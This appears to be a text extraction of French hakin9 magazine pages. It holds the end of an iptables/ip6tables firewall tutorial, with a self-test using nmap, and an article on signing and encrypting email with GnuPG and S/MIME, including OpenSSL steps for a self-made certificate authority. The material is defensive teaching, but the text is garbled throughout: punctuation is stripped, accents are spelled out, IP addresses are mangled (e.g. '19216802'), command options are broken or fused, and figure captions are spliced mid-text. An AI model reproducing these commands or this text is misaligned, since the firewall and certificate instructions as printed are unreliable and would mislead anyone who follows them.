PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

